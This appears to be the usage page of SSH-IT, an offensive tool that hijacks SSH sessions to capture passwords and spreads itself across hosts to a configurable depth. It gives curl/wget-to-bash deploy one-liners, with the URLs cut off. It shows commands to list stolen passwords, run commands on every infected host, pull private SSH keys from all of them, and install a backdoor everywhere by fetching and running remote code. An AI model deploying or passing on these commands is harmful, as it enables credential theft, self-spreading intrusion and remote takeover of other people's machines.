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Use either one of these commands to deploy:

bash -c "$(curl -fsSL"
bash -c "$(wget --no-verbose -O-"


To show all captured passwords use:

~/.config/prng/thc_cli -r list


To uninstall use:

~/.config/prng/thc_cli -r uninstall

Environment variables:

Deployment can be controlled with these environment variables

THC_DEPTH= SSH-IT will spread to this depth and then stop. The default is THC_DEPTH=2.
THC_BASEDIR= Installation directory. Default is THC_BASEDIR="${HOME}/.config/prng".
THC_VERBOSE=1 For testing only: Display a warning to the user when ssh is being intercepted (in bold red).
THC_DEBUG=1 For testing only: Display debug information
THC_DEBUG_LOG=thc.log For testing only: Output (most) debug informatio to thc.log.


THC_DEPTH=6 THC_DEBUG=1 bash -c "$(curl -fsSL"

Tips & Tricks

SSH-IT is controlled with thc_cli.

usage: thc_cli [-hr] [command]
    -h          This help
    -r          Recursive (for all hosts)
    list       - Show passwords
    exec <cmd> - Execute <cmd> on target [e.g. thc_cli -r exec "id; date"]
    clean      - Clean logfiles and state information
    disable    - Disable interception
    uninstall  - Clean, disable and completely remove
Example: thc_cli -r list

Remote Command Execution

Executing a command on all hosts

~/.config/prng/thc_cli -r exec 'id'

Retrieve the private SSH key (id_rsa) from all hosts:

~/.config/prng/thc_cli -r exec 'cat .ssh/id_rsa 2>/dev/null'

Install a backdoor on all hosts:

~/.config/prng/thc_cli -r exec 'bash -c "$(curl -fsSL"'

Offline Installs or when HTTPS is not available

Deploy from a self-extracting shell-script

# Without HTTPS 
wget --no-hsts && \
bash ./

Help the team

Help us fix bugs and send us thc.log if a boo-boo happens:

THC_DEBUG=1 THC_DEBUG_LOG=thc.log ssh user@yourhost "id"

Special thanks to Leonardo, Gerald, BadAdvert1zer and DoctorWho for ideas and testing.